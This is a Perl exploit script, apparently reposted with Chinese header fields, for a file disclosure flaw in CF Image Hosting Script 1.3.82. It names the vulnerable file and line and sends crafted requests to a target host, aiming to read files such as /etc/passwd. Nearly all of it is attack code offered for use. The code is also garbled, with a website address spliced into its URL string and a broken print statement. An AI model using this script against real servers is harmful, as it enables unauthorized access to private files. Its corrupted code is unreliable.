#!/usr/bin/perl

 

#CF Image Hosting Script 1.3.82 File Disclosure Exploit

#Bugfounder and Exploitcoder: bd0rk

联系方式: www.sohcrew.school-of-hack.net www.2cto.com #eMail: bd0rk[at]hackermail.com

影响程序: CF Image Hosting Script 1.3.82

开发者: http://www.phpkode.com

下载地址: http://phpkode.com/download/p/CF_Image_Hosting_v1.3.zip

 

问题代码位于/inc/tesmodrewrite.php  28行

#echo "Current URL: " . $_GET['q'];

 

#Tested on Ubuntu-Linux

 

use LWP::Simple;

use LWP::UserAgent;

 

sub help()

{

print "Sploit: perl $0 [targethost] /dir/\n";

}

 

print "\nCF Image Hosting Script 1.3.82 File Disclosure Exploit\n";

print "\ By bd0rk bd0rk[at]hackermail.com\n";

 

($inc, $targethost, $dir, $file,) = @ARGV;

 

$inc="/inc/";

$file="tesmodrewrite.php?q=[APossibleFile]";

my $url = "http:// www.2cto.com ".$targethost.$dir.$inc.$file;

 

my $useragent = LWP::UserAgent->new();

my $req = $useragent->get($url,":content_file"=>"[APossibleFile]");

 

if ($req->is_success)

 

{

 

print "$url <= H3h3!\n\n";

print "etc/passwd\n";

 

exit();

}

else

{

print "Sploit $url Mhhh!\n[!]".$req->status_line.\n";

 

exit();

}